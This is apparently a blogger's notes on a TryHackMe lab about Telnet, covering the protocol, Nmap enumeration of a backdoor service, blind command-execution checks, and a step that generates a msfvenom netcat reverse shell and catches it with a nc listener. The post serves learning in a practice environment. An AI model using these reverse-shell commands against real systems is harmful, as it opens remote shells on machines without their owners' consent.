THM – Network Services – Telnet – Part 5

Understanding telnet 

What is telnet? 

Telnet is an application protocol which allows you, with the use of telnet client, to connect to and execute commands on a remote machine that’s hosting a telnet server.  

The telnet client will establish a connection with the server. The client will then become a virtual terminal – allow you to interact with the remote host.

Replacement 

Telnet sends all messages in clear text and has no specific security mechanisms. Thus, in many applications and services, Telnet has been replaced by SSH in most implementations.  

How does Telnet work?  

The user connects to the server by using the Telnet protocol, which means entering “telnet” into a command prompt. The user then executes commands on the server by using specific Telnet commands in the Telnet prompt. You can connect to a telnet server with the follow syntax:

Telnet IP PORT 

The lack of what, means that all Telnet communication is in plaintext? Encryption 

Enumerating Telnet 

Use Nmap to scan for open ports and services on the target machine.

How many ports open on the machine? One 

What port is that? 8012 Telnet is assigned to a non-standard port.  

Based on the title returned to us, what do we think this port could be used for? A backdoor (SKIDY’s BACKDOOR) 

Who could it belong to? Skidy 

Exploiting telnet 

Telnet, being a protocol, is in and of itself insecure for its lack of encryption. It sends all communication over plaintext and has poor access control. There are CVE’s for Telnet client and server systems. A CVE, short for common vulnerability and exposures, is a list of public disclosed computer security flaws.  

You are far more likely to find a misconfiguration in how telnet has been configured or is operating that will allow us to exploit it.  

Method breakdown 

From our enumeration we know: 

  • There is a poorly hidden telnet service running on the machine. 
  • The service itself is marked “backdoor.” 
  • We have possible username of “SKDY” implicated. 

Connecting to telnet 

Connect to telnet using the command telnet IP PORT

What is a reverse shell? 

A “shell” can simply be described as a piece of code or program which can be used to gain code or command execution on a device.  

A reverse shell is a type of shell in which the target machine communcates back to the attacking machine.  

The attacking machine has a listening port, on which it receives the connection, resulting in code or command execution being achieved.  

Connect to this telnet port. What welcome message do we receive? SKIDY’s backdoor 

When executing commands, do we get a return on any input into the telnet session? No 

Let’s check to see if what we’re typing is being executed as a system command. 

Start a tcpdump listener on your local machine.  

sudo tcpdump ip proto \\icmp -i eth0 

Use command ping local THM ip –c 1. Do we receive any pings? YES

This means we’re able to execute system commands AND that we are able to reach our local machine.  

We’re going to generate a reverse shell payload using msfvenom. This will generate and encode netcat reverse shell for us. Syntax: 

msfvenom -p cmd/unix/reverse_netcat lhost=local_IP lport=4444 R

-p = payload 

lhost = our local host ip  

lport = the port to listen on (this is the port on your machine) 

R= export the payload in raw format

Payload is generated. Now start a netcat listener on our local machine. We use this command:

nc -lvp 4444

Now that’s running, copy and paste our msfvenom payload into the telnet session and run it as a command.  

Catch the flag!

Similar Posts

  • THM – Network Services – SMB – Part 3

    Table Of ContentsUnderstanding SMB Enumerating SMB Exploiting SMB  Understanding SMB  SMB – Server Message Block Protocol – is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network.   Servers make file systems and other resources available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers.   The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages…

  • THM – OWASP Top 10 – Part 12

    Table Of ContentsIntro [Severity 1] Injection[Severity 1] OS Command Injection[Severity 1] Command Injection Practical [Severity 2] Broken Authentication[Severity 2] Broken Authentication Practical [Severity 3] Sensitive Data exposure (Introduction) [Severity 3] Sensitive Data exposure (Supporting material 1)  [Severity 3] Sensitive Data exposure (Supporting material 2) [Severity 3] Sensitive Data exposure (Challenge)[Severity 4] XML External Entity [Severity 4] XML External Entity – eXtensible Markup Language [Severity 4]…

  • THM – Windows Exploitation Basics – Part 17

    This is a continued series where I document my path through different tryhackme courses. I recommend everyone that wants to learn cyber security to subscribe to tryhackme.com and take the courses there. Table Of ContentsWindows file system and permissions explainedUnderstanding the authentication process Windows file system and permissions explained What is the file system? It…

  • Active Directory – Notes, Methodology, Cheatsheet

    These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources. Inspo: Work in progress Table Of ContentsReferences MatrixLOLBAS – Living off the landWADComs – Very useful cheatsheetIcebreakerAD MethodologyMindmap – Current 2025Mindmap – Nr 2Mindmap – Nr 3Active Directory TheoryObject Permission (ACE, DACL, SIDs…)KerberosKerberos Authentication graphMicrosoft’s Kerberos Delegation…

  • THM – Principles of Security – Part 2

    This is my notes from the Junior Pentesting course at TryHackMe. This course takes you through the basics and some advanced topics regarding penetration testing. Table Of ContentsPrinciples of PrivilegesSecurity Models ContinuedThe Bell-La Padula ModelBiba ModelThreat Modelling & Incident Response Principles of Privileges The levels of access given to individuals are determined on two primary…

  • THM – Network Services – FTP – Part 4

    Table Of ContentsUnderstanding FTP Enumerating FTP Exploiting FTP  Understanding FTP  What is FTP? File transfer protocol is a protocol used to allow remote transfer of files over a network. It uses a client-server model to do this. It relays command and data in a very efficient way.   How does FTP work?  A typical FTP session operates using two channels:  A command channel   A data channel  The command channel is used for transmitting commands as well as replies to those commands, while the data channel is used for transferring data.   FTP operates using a client-server protocol. The client…